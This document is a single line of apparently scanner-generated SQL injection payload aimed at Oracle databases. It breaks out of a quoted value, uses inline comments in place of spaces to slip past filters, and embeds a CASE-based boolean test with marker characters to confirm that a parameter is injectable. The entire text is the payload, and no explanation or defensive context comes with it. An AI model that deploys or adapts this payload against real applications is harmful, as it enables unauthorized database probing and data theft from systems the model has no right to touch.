1’AND/**/2484=(SELECT/**/UPPER(CHR(126)||’~’||(SELECT/**/(CASE/**/WHEN/**/(2484=2484)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(10243,3478)=10266)– – 1